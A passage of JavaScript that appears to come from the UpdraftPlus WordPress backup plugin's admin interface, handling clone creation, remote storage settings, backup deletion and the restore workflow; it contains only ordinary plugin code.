.updraft_migrate_widget_temporary_clone_stage3').show(); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraft_migrate_widget_temporary_clone_stage3').html(response.html); // remove the clone timeout as the clone has now been created if (temporary_clone_timeout) clearTimeout(temporary_clone_timeout); // check if the response includes a secret token, if it does we have claimed a clone from the queue and need to update our current secret token to the one that belongs to the claimed clone if (response.hasOwnProperty('secret_token')) { secret_token = response.secret_token; } if ('wp_only' === backup_nonce) { jQuery('#updraft_clone_progress .updraftplus_spinner.spinner').addClass('visible'); temporary_clone_poll(clone_id, secret_token); } else { jQuery('#updraft_clone_progress .updraftplus_spinner.spinner').addClass('visible'); temporary_clone_boot_backup(clone_id, secret_token, response.url, response.key, backup_nonce, backup_timestamp, backup_options); } } } catch (err) { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraft_migrate_createclone').prop('disabled', false); console.log("Error when processing the response of process_updraftplus_clone_create (as follows)"); console.log(err); } }); }, 5000); } /** * This function will send an AJAX request to the backend to start a clone backup job * * @param {string} clone_id - the clone id * @param {string} secret_token - the clone secret * @param {string} clone_url - the clone url * @param {string} key - the migration key * @param {string} backup_nonce - the nonce for the backup we want to use or 'current' for a fresh backup * @param {string} backup_timestamp - the timestamp for the backup we want to use or 'current' for a fresh backup * @param {array} backup_options - an array of options for the backup */ function temporary_clone_boot_backup(clone_id, secret_token, clone_url, key, backup_nonce, backup_timestamp, backup_options) { var params = { updraftplus_clone_backup: 1, backupnow_nodb: 0, backupnow_nofiles: 0, backupnow_nocloud: 0, backupnow_label: 'UpdraftClone', extradata: '', onlythisfileentity: 'plugins,themes,uploads,others', clone_id: clone_id, secret_token: secret_token, clone_url: clone_url, key: key, backup_nonce: backup_nonce, backup_timestamp: backup_timestamp, db_anon_all: backup_options['db_anon_all'], db_anon_non_staff: backup_options['db_anon_non_staff'], db_anon_wc_orders: backup_options['db_anon_wc_orders'], clone_region: backup_options['clone_region'] }; updraft_activejobslist_backupnownonce_only = 1; updraft_send_command('backupnow', params, function (response) { jQuery('#updraft_clone_progress .updraftplus_spinner.spinner').removeClass('visible'); jQuery('#updraft_backup_started').html(response.m); if (response.hasOwnProperty('nonce')) { // Can't return it from this context updraft_backupnow_nonce = response.nonce; updraft_clone_jobs.push(updraft_backupnow_nonce); updraft_inpage_success_callback = function () { jQuery('#updraft_clone_activejobsrow').hide(); // If user aborts the job if (updraft_aborted_jobs[updraft_backupnow_nonce]) { jQuery('#updraft_clone_progress').html(updraftlion.clone_backup_aborted); } else { jQuery('#updraft_clone_progress').html(updraftlion.clone_backup_complete); } }; console.log("UpdraftPlus: ID of started job: " + updraft_backupnow_nonce); } updraft_activejobs_update(true); }); } /** * This function will send an AJAX request to the backend to poll for the clones install information * * @param {string} clone_id - the clone id * @param {string} secret_token - the clone secret */ function temporary_clone_poll(clone_id, secret_token) { var options = { clone_id: clone_id, secret_token: secret_token, }; setTimeout(function () { updraft_send_command('process_updraftplus_clone_poll', options, function (response) { if (response.hasOwnProperty('status')) { if ('error' == response.status) { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_clone_status').html(updraftlion.error + ' ' + response.message).show(); return; } if ('success' === response.status) { if (response.hasOwnProperty('data') && response.data.hasOwnProperty('wordpress_credentials')) { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_spinner.spinner').removeClass('visible'); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraft_clone_progress').append('
WordPress ' + updraftlion.credentials + ':
' + updraftlion.username + ': ' + response.data.wordpress_credentials.username + '
' + updraftlion.password + ': ' + response.data.wordpress_credentials.password); return; } } } else { console.log(response); } temporary_clone_poll(clone_id, secret_token); }); }, 60000); } $('#updraft-navtab-settings-content #remote-storage-holder').on('click', '.updraftplusmethod a.updraft_add_instance', function(e) { e.preventDefault(); updraft_settings_form_changed = true; load_save_button(); var method = $(this).data('method'); add_new_instance(method); }); $('#updraft-navtab-settings-content #remote-storage-holder').on('click', '.updraftplusmethod a.updraft_delete_instance', function(e) { e.preventDefault(); updraft_settings_form_changed = true; load_save_button(); var method = $(this).data('method'); var instance_id = $(this).data('instance_id'); if (1 === $('.' + method + '_updraft_remote_storage_border').length) { add_new_instance(method); } $('.' + method + '-' + instance_id).hide('slow', function() { $(this).remove(); }); }); $('#updraft-navtab-settings-content #remote-storage-holder').on('click', '.updraftplusmethod .updraft_edit_label_instance', function(e) { $(this).find('span').hide(); $(this).attr('contentEditable', true).trigger('focus'); }); $('#updraft-navtab-settings-content #remote-storage-holder').on('keyup', '.updraftplusmethod .updraft_edit_label_instance', function(e) { var method = jQuery(this).data('method'); var instance_id = jQuery(this).data('instance_id'); var content = jQuery(this).text(); $('#updraft_' + method + '_instance_label_' + instance_id).val(content); }); $('#updraft-navtab-settings-content #remote-storage-holder').on('blur', '.updraftplusmethod .updraft_edit_label_instance', function(e) { $(this).attr('contentEditable', false); $(this).find('span').show(); }); $('#updraft-navtab-settings-content #remote-storage-holder').on('keypress', '.updraftplusmethod .updraft_edit_label_instance', function(e) { if (13 === e.which) { $(this).attr('contentEditable', false); $(this).find('span').show(); $(this).trigger('blur'); } }); /** * This method will get the default options and compile a template with them * * @param {string} method - the remote storage name * @param {boolean} first_instance - indicates if this is the first instance of this type */ function add_new_instance(method) { var template = Handlebars.compile(updraftlion.remote_storage_templates[method]); var context = {}; // Initiate a reference by assigning an empty object to a variable (in this case the context variable) so that it can be used as a target of merging one or more other objects. Unlike basic values (boolean, string, integer, etc.), in Javascript objects and arrays are passed by reference // copy what are in the template properties to the context overwriting the same object properties, and then copy what are in the default instance settings to the context overwriting all the same properties from the previous merging operation (if any). The context properties are overwritten by other objects that have the same properties later in the parameters order Object.assign(context, updraftlion.remote_storage_options[method]['template_properties'], updraftlion.remote_storage_options[method]['default']); var method_name = updraftlion.remote_storage_methods[method]; context['instance_id'] = 's-' + generate_instance_id(32); context['instance_enabled'] = 1; context['instance_label'] = method_name + ' (' + (jQuery('.' + method + '_updraft_remote_storage_border').length + 1) + ')'; context['instance_conditional_logic'] = { type: '', // always by default rules: [], day_of_the_week_options: updraftlion.conditional_logic.day_of_the_week_options, logic_options: updraftlion.conditional_logic.logic_options, operand_options: updraftlion.conditional_logic.operand_options, operator_options: updraftlion.conditional_logic.operator_options, }; var html = template(context); jQuery(html).hide().insertAfter(jQuery('.' + method + '_add_instance_container').first()).show('slow'); } /** * This method will return a random instance id string * * @param {integer} length - the length of the string to be generated * * @return string - the instance id */ function generate_instance_id(length) { var uuid = ''; var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; for (var i = 0; i < length; i++) { uuid += characters.charAt(Math.floor(Math.random() * characters.length)); } return uuid; } jQuery('#updraft-navtab-settings-content #remote-storage-holder').on("change", "input[class='updraft_instance_toggle']", function () { updraft_settings_form_changed = true; load_save_button(); if (jQuery(this).is(':checked')) { jQuery(this).siblings('label').html(updraftlion.instance_enabled); } else { jQuery(this).siblings('label').html(updraftlion.instance_disabled); } }); jQuery('#updraft-navtab-settings-content #remote-storage-holder').on("change", "select[class='logic_type']", function () { updraft_settings_form_changed = true; load_save_button(); if ('' !== this.value) { jQuery('div.logic', jQuery(this).parents('tr.updraftplusmethod')).show(); jQuery(this).parents('tr.updraftplusmethod').find('div.logic ul.rules > li').each(function() { jQuery(this).find('select').each(function() { jQuery(this).prop('disabled', false); }) }); } else { jQuery(this).parents('tr.updraftplusmethod').find('div.logic ul.rules > li').each(function() { jQuery(this).find('select').each(function() { jQuery(this).prop('disabled', true); }) }); jQuery(this).parents('tr.updraftplusmethod').find('div.logic').hide(); } }); jQuery('#updraft-navtab-settings-content #remote-storage-holder').on("change", "select[class='conditional_logic_operand']", function () { updraft_settings_form_changed = true; load_save_button(); jQuery(this).parent().find('select:nth(2)').empty(); if ('day_of_the_week' === jQuery(this).val()) { for (var i=0; i').text(updraftlion.conditional_logic.day_of_the_week_options[i].value)); } } else if ('day_of_the_month' === jQuery(this).val()) { for (var i=1; i<=31; i++) { jQuery(this).parent().find('select:nth(2)').append(jQuery('').text(i)); } } }); jQuery('#updraft-navtab-settings-content #remote-storage-holder').on("click", "div.conditional_remote_backup ul.rules li span", function () { updraft_settings_form_changed = true; load_save_button(); var $ul = jQuery(this).parents('ul.rules'); if (jQuery(this).hasClass('remove-rule')) { jQuery(this).parent().slideUp(function() { jQuery(this).remove(); if (jQuery($ul).find('> li').length < 2) { jQuery('li:nth(0) span.remove-rule', $ul).remove(); } }); } }); jQuery('#updraft-navtab-settings-content #remote-storage-holder').on("click", "div.conditional_remote_backup input.add-new-rule", function () { var $ul = jQuery(this).parent().find('ul.rules'); if (jQuery($ul).find('> li').length < 2) { jQuery($ul).find('li:nth(0)').append(''); } $cloned_item = jQuery($ul).find('> li').last().clone(); jQuery($cloned_item).find('> select').each(function() { jQuery(this).prop('name', jQuery(this).prop('name').replace(/\[instance_conditional_logic\]\[rules\]\[[0-9]+\]/gi, '[instance_conditional_logic][rules]['+jQuery($ul).data('rules')+']')); }); jQuery($ul).append($cloned_item); jQuery($ul).data('rules', parseInt(jQuery($ul).data('rules')) + 1); jQuery($cloned_item).find('select[name*="[operand]"]').trigger('change'); }); jQuery('#updraft-navtab-settings-content #remote-storage-holder').on('click', '.updraftplusmethod button.updraft-test-button', function() { var method = jQuery(this).data('method'); var instance_id = jQuery(this).data('instance_id'); updraft_remote_storage_test(method, function(response, status, data) { if ('sftp' != method) { return false; } if (data.hasOwnProperty('scp') && data.scp) { alert(updraftlion.settings_test_result.replace('%s', 'SCP')+' '+response.output); } else { alert(updraftlion.settings_test_result.replace('%s', 'SFTP')+' '+response.output); } if (response.hasOwnProperty('data') && response.data) { if (response.data.hasOwnProperty('valid_md5_fingerprint') && response.data.valid_md5_fingerprint) { $('#updraft_sftp_fingerprint_'+instance_id).val(response.data.valid_md5_fingerprint); } } return true; }, instance_id); }); $('#updraft-navtab-settings-content select.updraft_interval, #updraft-navtab-settings-content select.updraft_interval_database').on('change', function() { updraft_check_same_times(); }); $('#backupnow_includefiles_showmoreoptions').on('click', function(e) { e.preventDefault(); $('#backupnow_includefiles_moreoptions').toggle(); }); $('#backupnow_database_showmoreoptions').on('click', function(e) { e.preventDefault(); $('#backupnow_database_moreoptions').toggle(); }); $('#updraft-navtab-migrate-content').on('click', '#backupnow_database_showmoreoptions', function (e) { e.preventDefault(); $('#updraft-navtab-migrate-content #backupnow_database_moreoptions').toggle(); }); $('#backupnow_db_anon_all').on('click', function(e) { if ($('#backupnow_db_anon_non_staff').prop('checked')) $('#backupnow_db_anon_non_staff').prop("checked", false); }); $('#backupnow_db_anon_non_staff').on('click', function(e) { if ($('#backupnow_db_anon_all').prop('checked')) $('#backupnow_db_anon_all').prop("checked", false); }); $('#updraft-navtab-migrate-content').on('click', '#updraftplus_migration_backupnow_db_anon_all', function() { if ($('#updraftplus_migration_backupnow_db_anon_non_staff').prop('checked')) $('#updraftplus_migration_backupnow_db_anon_non_staff').prop("checked", false); }); $('#updraft-navtab-migrate-content').on('click', '#updraftplus_migration_backupnow_db_anon_non_staff', function() { if ($('#updraftplus_migration_backupnow_db_anon_all').prop('checked')) $('#updraftplus_migration_backupnow_db_anon_all').prop("checked", false); }); $('#updraft-navtab-migrate-content').on('click', '#updraftplus_clone_backupnow_db_anon_all', function() { if ($('#updraftplus_clone_backupnow_db_anon_non_staff').prop('checked')) $('#updraftplus_clone_backupnow_db_anon_non_staff').prop("checked", false); }); $('#updraft-navtab-migrate-content').on('click', '#updraftplus_clone_backupnow_db_anon_non_staff', function() { if ($('#updraftplus_clone_backupnow_db_anon_all').prop('checked')) $('#updraftplus_clone_backupnow_db_anon_all').prop("checked", false); }); $('#updraft-backupnow-modal').on('click', '#backupnow_includecloud_showmoreoptions', function(e) { e.preventDefault(); $('#backupnow_includecloud_moreoptions').toggle(); }); $('#updraft-navtab-backups-content').on('click', 'a.updraft_diskspaceused_update',function(e) { e.preventDefault(); updraftplus_diskspace(); }); // For Advanced Tools > Site information > Web-server disk space in use by UpdraftPlus $('.advanced_settings_content a.updraft_diskspaceused_update').on('click', function(e) { e.preventDefault(); jQuery('.advanced_settings_content .updraft_diskspaceused').html(''+updraftlion.calculating+''); updraft_send_command('get_fragment', { fragment: 'disk_usage', data: 'updraft' }, function(response) { jQuery('.advanced_settings_content .updraft_diskspaceused').html(response.output); }, { type: 'GET' }); }); $('#updraft-navtab-backups-content a.updraft_uploader_toggle').on('click', function(e) { e.preventDefault(); $('#updraft-plupload-modal').slideToggle(); }); $('#updraft-navtab-backups-content a.updraft_rescan_local').on('click', function(e) { e.preventDefault(); updraft_updatehistory(1, 0); }); $('#updraft-navtab-backups-content a.updraft_rescan_remote').on('click', function(e) { e.preventDefault(); if (!confirm(updraftlion.remote_scan_warning)) return; updraft_updatehistory(1, 1); }); $('#updraftplus-remote-rescan-debug').on('click', function(e) { e.preventDefault(); updraft_updatehistory(1, 1, 1); }); jQuery('#updraft_reset_sid').on('click', function(e) { e.preventDefault(); updraft_send_command('reset_site_id', null, function(response) { jQuery('#updraft_show_sid').html(response); }, { json_parse: false }); }); jQuery("#updraft-navtab-settings-content").on('input', "form input:not('.udignorechange'), form textarea:not('.udignorechange')", function(e) { updraft_settings_form_changed = true; load_save_button(); }); jQuery("#updraft-navtab-settings-content").on('change', "form select", function(e) { updraft_settings_form_changed = true; load_save_button(); }); jQuery("#updraft-navtab-settings-content").on('click', "form input[type='submit']", function (e) { updraft_settings_form_changed = false; }); var bigbutton_width = 180; jQuery('.updraft-bigbutton').each(function(x,y) { var bwid = jQuery(y).width(); if (bwid > bigbutton_width) bigbutton_width = bwid; }); if (bigbutton_width > 180) jQuery('.updraft-bigbutton').width(bigbutton_width); if (jQuery('#updraft-navtab-backups-content').length) { // setTimeout(function(){updraft_showlastlog(true);}, 1200); setInterval(function() { updraft_activejobs_update(false);}, 1250); } // Prevent profusion of notices setTimeout(function() { jQuery('#setting-error-settings_updated').slideUp();}, 5000); jQuery('#updraft_restore_db').on('change', function() { if (jQuery('#updraft_restore_db').is(':checked') && 1 == jQuery(this).data('encrypted')) { jQuery('#updraft_restorer_dboptions').slideDown(); } else { jQuery('#updraft_restorer_dboptions').slideUp(); } }); updraft_check_same_times(); var updraft_message_modal_buttons = {}; updraft_message_modal_buttons[updraftlion.close] = function() { jQuery(this).dialog("close"); }; jQuery("#updraft-message-modal").dialog({ autoOpen: false, resizeOnWindowResize: true, scrollWithViewport: true, resizeAccordingToViewport: true, useContentSize: false, open: function(event, ui) { $(this).dialog('option', 'width', 520); $(this).dialog('option', 'minHeight', 260); if ($(window).height() > 360 ) { $(this).dialog('option', 'height', 360); } else { $(this).dialog('option', 'height', $(window).height()-30); } }, modal: true, buttons: updraft_message_modal_buttons }); var updraft_delete_modal_buttons = {}; updraft_delete_modal_buttons[updraftlion.deletebutton] = function() { updraft_remove_backup_sets(0, 0, 0, 0, [], false); }; /** * Perform a manual backup sets deletion * * @param {integer} deleted_counter - The total number of local and remote files that have successfully been removed already. This and the next three parameters are used recursively so that the final total can be displayed to the user in a display message. * @param {integer} backup_local - The total number of local files that have been removed * @param {integer} backup_remote - The total number of remote files that have successfully been removed * @param {integer} backup_sets - The total number of backup sets that have been deleted * @param {array} processed_instance_ids - An array that contains a group of storage instance IDs that have been processed * @param {boolean} is_continuation - Whether or not the backup sets deletion is a continuation of an ongoing deletion */ function updraft_remove_backup_sets(deleted_counter, backup_local, backup_remote, backup_sets, processed_instance_ids, is_continuation) { jQuery("#updraft-delete-modal").dialog('close'); var deleted_files_counter = deleted_counter; var local_deleted = backup_local; var remote_deleted = backup_remote; var sets_deleted = backup_sets; var error_log_prompt = ''; var form_data = jQuery('#updraft_delete_form').serializeArray(); var data = {}; $.each(form_data, function() { if (undefined !== data[this.name]) { if (!data[this.name].push) { data[this.name] = [data[this.name]]; } data[this.name].push(this.value || ''); } else { data[this.name] = this.value || ''; } }); if (data.delete_remote) { jQuery('#updraft-delete-waitwarning').find('.updraft-deleting-remote').show(); } else { jQuery('#updraft-delete-waitwarning').find('.updraft-deleting-remote').hide(); } jQuery('#updraft-delete-waitwarning').slideDown().addClass('active'); data.remote_delete_limit = updraftlion.remote_delete_limit; data.processed_instance_ids = processed_instance_ids; data.is_continuation = is_continuation; delete data.action; delete data.subaction; delete data.nonce; updraft_send_command('deleteset', data, function(resp) { if (!resp.hasOwnProperty('result') || resp.result == null) { jQuery('#updraft-delete-waitwarning').slideUp(); return; } if (resp.result == 'error') { jQuery('#updraft-delete-waitwarning').slideUp(); alert(updraftlion.error+' '+resp.message); } else if (resp.result == 'continue') { deleted_files_counter = deleted_files_counter + resp.backup_local + resp.backup_remote; local_deleted = local_deleted + resp.backup_local; remote_deleted = remote_deleted + resp.backup_remote; sets_deleted = sets_deleted + resp.backup_sets; var deleted_timestamps = resp.deleted_timestamps.split(','); for (var i = 0; i < deleted_timestamps.length; i++) { var timestamp = deleted_timestamps[i]; jQuery('#updraft-navtab-backups-content .updraft_existing_backups_row_' + timestamp).slideUp().remove(); } jQuery('#updraft_delete_timestamp').val(resp.timestamps); jQuery('#updraft-deleted-files-total').text(deleted_files_counter + ' ' + updraftlion.remote_files_deleted); updraft_remove_backup_sets(deleted_files_counter, local_deleted, remote_deleted, sets_deleted, resp.processed_instance_ids, true); } else if (resp.result == 'success') { setTimeout(function() { jQuery('#updraft-deleted-files-total').text(''); jQuery('#updraft-delete-waitwarning').slideUp(); }, 500); update_backupnow_modal(resp); if (resp.hasOwnProperty('backupnow_file_entities')) { impossible_increment_entities = resp.backupnow_file_entities; } if (resp.hasOwnProperty('count_backups')) { jQuery('#updraft-existing-backups-heading').html(updraftlion.existing_backups+' '+resp.count_backups+''); } var deleted_timestamps = resp.deleted_timestamps.split(','); for (var i = 0; i < deleted_timestamps.length; i++) { var timestamp = deleted_timestamps[i]; jQuery('#updraft-navtab-backups-content .updraft_existing_backups_row_' + timestamp).slideUp().remove(); } updraft_backups_selection.checkSelectionStatus(); updraft_history_lastchecksum = false; local_deleted = local_deleted + resp.backup_local; remote_deleted = remote_deleted + resp.backup_remote; sets_deleted = sets_deleted + resp.backup_sets; if ('' != resp.error_messages) { error_log_prompt = updraftlion.delete_error_log_prompt; } setTimeout(function() { alert(resp.set_message + " " + sets_deleted + "\n" + resp.local_message + " " + local_deleted + "\n" + resp.remote_message + " " + remote_deleted + "\n\n" + resp.error_messages + "\n" + error_log_prompt); }, 900); } }); }; updraft_delete_modal_buttons[updraftlion.cancel] = function() { jQuery(this).dialog("close"); }; jQuery("#updraft-delete-modal").dialog({ autoOpen: false, resizeOnWindowResize: true, scrollWithViewport: true, resizeAccordingToViewport: true, useContentSize: false, open: function(event, ui) { $(this).css('minHeight', 83); }, modal: true, buttons: updraft_delete_modal_buttons }); var updraft_restore_modal = { initialized: false, init: function() { if (this.initialized) return; this.initialized = true; // Setup cancel button events $('.updraft-restore--cancel').on('click', function(e) { e.preventDefault(); jQuery('#ud_downloadstatus2').html(''); this.close(); }.bind(this)); this.default_next_text = $('.updraft-restore--next-step').eq(0).text(); // Setup next button event $('.updraft-restore--next-step').on('click', function(e) { e.preventDefault(); this.process_next_action(); }.bind(this)); }, close: function() { $('.updraft_restore_container').hide(); $('body').removeClass('updraft-modal-is-opened'); }, open: function() { this.init(); // reset elements $('#updraft-restore-modal-stage1').show(); $('#updraft-restore-modal-stage2').hide(); $('#updraft-restore-modal-stage2a').html(''); $('.updraft-restore--next-step').text(this.default_next_text); $('.updraft-restore--stages li').removeClass('active').first().addClass('active'); // Show restoration window $('.updraft_restore_container').show(); $('body').addClass('updraft-modal-is-opened'); }, process_next_action: function() { var anyselected = 0; var moreselected = 0; var dbselected = 0; var pluginselected = 0; var themeselected = 0; var whichselected = []; // Make a list of what files we want var already_added_wpcore = 0; var meta_foreign = $('#updraft_restore_meta_foreign').val(); $('input[name="updraft_restore[]"]').each(function(x, y) { if ($(y).is(':checked') && !$(y).is(':disabled')) { anyselected = 1; var howmany = $(y).data('howmany'); var type = $(y).val(); if ('more' == type) moreselected = 1; if ('db' == type) dbselected = 1; if ('plugins' == type) pluginselected = 1; if ('themes' == type) themeselected = 1; if (1 == meta_foreign || (2 == meta_foreign && 'db' != type)) { if ('wpcore' != type) { howmany = $('#updraft_restore_form #updraft_restore_wpcore').data('howmany'); } type = 'wpcore'; } if ('wpcore' != type || already_added_wpcore == 0) { var restobj = [ type, howmany ]; whichselected.push(restobj); // alert($(y).val()); if ('wpcore' == type) { already_added_wpcore = 1; } } } }); if (1 == anyselected) { // Work out what to download if (1 == updraft_restore_stage) { // meta_foreign == 1 : All-in-one format: the only thing to download, always, is wpcore // if ('1' == meta_foreign) { // whichselected = []; // whichselected.push([ 'wpcore', 0 ]); // } else if ('2' == meta_foreign) { // $(whichselected).each(function(x,y) { // restobj = whichselected[x]; // }); // whichselected = []; // whichselected.push([ 'wpcore', 0 ]); // } $('.updraft-restore--stages li').removeClass('active').eq(1).addClass('active'); $('#updraft-restore-modal-stage1').slideUp('slow'); $('#updraft-restore-modal-stage2').show(); updraft_restore_stage = 2; var pretty_date = $('.updraft_restore_date').first().text(); // Create the downloader active widgets // See if we some are already known to be downloaded - in which case, skip creating the download widget. (That saves on HTTP round-trips, as each widget creates a new POST request. Of course, this is at the expense of one extra one here). var which_to_download = whichselected; var backup_timestamp = $('#updraft_restore_timestamp').val(); try { $('.updraft-restore--next-step').prop('disabled', true); $('#updraft-restore-modal-stage2a').html(' '+updraftlion.maybe_downloading_entities); updraft_send_command('whichdownloadsneeded', { downloads: whichselected, timestamp: backup_timestamp }, function(response) { $('.updraft-restore--next-step').prop('disabled', false); if (response.hasOwnProperty('downloads')) { console.log('UpdraftPlus: items which still require downloading follow'); which_to_download = response.downloads; console.log(which_to_download); } // Kick off any downloads, if needed if (0 == which_to_download.length) { updraft_restorer_checkstage2(0); } else { for (var i=0; i'+resp.fatal_error_message+'

'); } else { var error_message = "updraft_send_command: error: "+status+" ("+error_code+")"; $('#updraft-restore-modal-stage2a').html('

'+error_message+'

'); console.log(error_message); console.log(response); } } }); } catch (err) { console.log("UpdraftPlus: error (follows) when looking for items needing downloading"); console.log(err); alert(updraftlion.jsonnotunderstood); } // Make sure all are downloaded } else if (2 == updraft_restore_stage) { updraft_restorer_checkstage2(1); } else if (3 == updraft_restore_stage) { var continue_restore = 1; jQuery('.updraft-restore--next-step, .updraft-restore--cancel').prop('disabled', true); $('#updraft_restoreoptions_ui input.required').each(function(index) { if (continue_restore == 0) return; var sitename = $(this).val(); if (sitename == '') { alert(updraftlion.pleasefillinrequired); jQuery('.updraft-restore--next-step, .updraft-restore--cancel').prop('disabled', false); continue_restore = 0; } else if ($(this).attr('pattern') != '') { var pattern = $(this).attr('pattern'); var re = new RegExp(pattern, "g"); if (!re.test(sitename)) { alert($(this).data('invalidpattern')); jQuery('.updraft-restore--next-step, .updraft-restore--cancel').prop('disabled', false); continue_restore = 0; } } }); if (1 == dbselected) { anyselected = 0; jQuery('input[name="updraft_restore_tables_options[]"').each(function (x, y) { if (jQuery(y).is(':checked') && !jQuery(y).is(':disabled')) anyselected = 1; }); if (0 == anyselected && !skipped_db_scan) { alert(updraftlion.youdidnotselectany); jQuery('.updraft-restore--next-step, .updraft-restore--cancel').prop('disabled', false); return; } } if (1 == pluginselected) { anyselected = 0; if (!jQuery(".updraftplus_restore_plugins_options_container").length) anyselected = 1; jQuery('input[name="updraft_restore_plugins_options[]"').each(function (x, y) { if (jQuery(y).is(':checked') && !jQuery(y).is(':disabled')) anyselected = 1; }); if (0 == anyselected) { alert(updraftlion.youdidnotselectany); jQuery('.updraft-restore--next-step, .updraft-restore--cancel').prop('disabled', false); return; } } if (1 == themeselected) { anyselected = 0; if (!jQuery(".updraftplus_restore_themes_options_container").length) anyselected = 1; jQuery('input[name="updraft_restore_themes_options[]"').each(function (x, y) { if (jQuery(y).is(':checked') && !jQuery(y).is(':disabled')) anyselected = 1; }); if (0 == anyselected) { alert(updraftlion.youdidnotselectany); jQuery('.updraft-restore--next-step, .updraft-restore--cancel').prop('disabled', false); return; } } if (1 == moreselected) { anyselected = 0; jQuery('input[name="updraft_include_more_index[]"').each(function (x, y) { if (jQuery(y).is(':checked') && !jQuery(y).is(':disabled')) { anyselected = 1; if ('' == jQuery('#updraft_include_more_path_restore' + x).val()) { alert(updraftlion.emptyrestorepath); } } }); if (0 == anyselected) { alert(updraftlion.youdidnotselectany); jQuery('.updraft-restore--next-step, .updraft-restore--cancel').prop('disabled', false); return; } } if (!continue_restore) return; var restore_options = $('#updraft_restoreoptions_ui select, #updraft_restoreoptions_ui input').serialize(); // jQuery serialize does not pick up unchecked checkboxes, but we want to include these so that we have a list of table/plugins/themes the user does not want to restore we prepend these with udp-skip-{entity}- and check this on the backend var entities = ['table', 'plugins', 'themes']; jQuery.each(entities, function(i, entity) { jQuery.each(jQuery('input[name="updraft_restore_' + entity + '_options[]').filter(function(idx) { return jQuery(this).prop('checked') === false }), function(idx, el) { restore_options += '&' + jQuery(el).attr('name') + '=' + 'udp-skip-' + entity + '-' + jQuery(el).val(); }); }) console.log("Restore options: "+restore_options); if (typeof php_max_input_vars !== 'undefined') { var restore_options_length = restore_options.split("&").length; var warning_template_start = '

' + updraftlion.warnings +'

    '; var warning_template_end = '
'; // If we can't detect the php_max_input_vars assume the PHP default of 1000 if (!php_max_input_vars && 1000 <= restore_options_length) { console.log('Restore options: ' + restore_options_length + ' PHP max input vars not detected; using default: 1000'); } else if (php_max_input_vars && restore_options_length >= php_max_input_vars) { var warning = '
  • ' + updraftlion.php_max_input_vars_detected_warning + '
  • '; if (1 != jQuery('#updraft-restore-modal-stage2a .notice-warning').length) { var final_warning = warning_template_start + warning + warning_template_end; jQuery('#updraft_restoreoptions_ui').prepend(final_warning); } else { jQuery('#updraft-restore-modal-stage2a #updraft_restore_warnings').append(warning); } console.log('Restore options: ' + restore_options_length + ' PHP max input vars: ' + php_max_input_vars); jQuery('.updraft-restore--next-step, .updraft-restore--cancel').prop('disabled', false); php_max_input_vars = undefined; return; } } $('#updraft_restorer_restore_options').val(restore_options); // This must be done last, as it wipes out the section with #updraft_restoreoptions_ui $('#updraft-restore-modal-stage2a').html(updraftlion.restore_proceeding); $('#updraft_restore_form').trigger('submit'); // In progress; prevent the button being pressed again updraft_restore_stage = 4; } } else { alert(updraftlion.youdidnotselectany); } } } var original_restore_main_activity_width = $('.updraft_restore_main--activity').width(); jQuery('#activity-full-log').on('click', function() { var activity_log_max_width = $('.updraft_restore_main').css('max-width') == '1460px' ? '860px' : '1460px'; var restore_main_activity_width = $('.updraft_restore_main--activity').width() == original_restore_main_activity_width ? '100%' : original_restore_main_activity_width + 'px'; var activity_log_max_height = $('.updraft_restore_main--activity').css('min-height') == '600px' ? '0px' : '600px'; var activity_log_icon_title = $('#activity-full-log').attr('title') == updraftlion.restoreactivitylogscreenexit ? updraftlion.restoreactivitylogfullscreen : updraftlion.restoreactivitylogscreenexit; $('#activity-full-log').toggleClass('dashicons-fullscreen-exit-alt'); $('#activity-full-log').attr('title', activity_log_icon_title); $('.updraft_restore_main--components').toggle('fast'); $('.updraft_restore_main--header').toggle('fast'); $('.updraft_restore_main--activity').animate({minHeight: activity_log_max_height, width: restore_main_activity_width}); $('.updraft_restore_main').animate({maxWidth: activity_log_max_width}); }); jQuery("#updraft-iframe-modal").dialog({ autoOpen: false, height: 500, width: 780, modal: true }); jQuery("#updraft-backupnow-inpage-modal").dialog({ autoOpen: false, modal: true, resizeOnWindowResize: true, scrollWithViewport: true, resizeAccordingToViewport: true, useContentSize: false, open: function(event, ui) { $(this).dialog('option', 'width', 580); $(this).dialog('option', 'minHeight', 261); $(this).dialog('option', 'height', 380); }, }); var backupnow_modal_buttons = {}; backupnow_modal_buttons[updraftlion.backupnow] = function() { var backupnow_nodb = jQuery('#backupnow_includedb').is(':checked') ? 0 : 1; var backupnow_nofiles = jQuery('#backupnow_includefiles').is(':checked') ? 0 : 1; var backupnow_nocloud = jQuery('#backupnow_includecloud').is(':checked') ? 0 : 1; var db_anon_all = jQuery('#backupnow_db_anon_all').is(':checked') ? 1 : 0; var db_anon_non_staff = jQuery('#backupnow_db_anon_non_staff').is(':checked') ? 1 : 0; var db_anon_wc_orders = jQuery('#backupnow_db_anon_wc_order_data').is(':checked') ? 1 : 0; var onlythesetableentities = backupnow_whichtables_checked(''); var always_keep = jQuery('#always_keep').is(':checked') ? 1 : 0; var incremental = ('incremental' == jQuery('#updraft-backupnow-modal').data('backup-type')) ? 1 : 0; if (updraftlion.hosting_restriction.includes('only_one_backup_per_month') && !incremental) { alert(updraftlion.hosting_restriction_one_backup_permonth); return; } if (updraftlion.hosting_restriction.includes('only_one_incremental_per_day') && incremental) { alert(updraftlion.hosting_restriction_one_incremental_perday); return; } if ('' == onlythesetableentities && 0 == backupnow_nodb) { alert(updraftlion.notableschosen); jQuery('#backupnow_database_moreoptions').show(); return; } if (typeof onlythesetableentities === 'boolean') { onlythesetableentities = null; } var onlythesefileentities = backupnow_whichfiles_checked(''); if ('' == onlythesefileentities && 0 == backupnow_nofiles) { alert(updraftlion.nofileschosen); jQuery('#backupnow_includefiles_moreoptions').show(); return; } var only_these_cloud_services = jQuery("input[name^='updraft_include_remote_service_']").serializeArray(); if ('' == only_these_cloud_services && 0 == backupnow_nocloud) { alert(updraftlion.nocloudserviceschosen); jQuery('#backupnow_includecloud_moreoptions').show(); return; } if (typeof only_these_cloud_services === 'boolean') { only_these_cloud_services = null; } if (backupnow_nodb && backupnow_nofiles) { alert(updraftlion.excludedeverything); return; } jQuery(this).dialog("close"); setTimeout(function() { jQuery('#updraft_lastlogmessagerow').fadeOut('slow', function() { 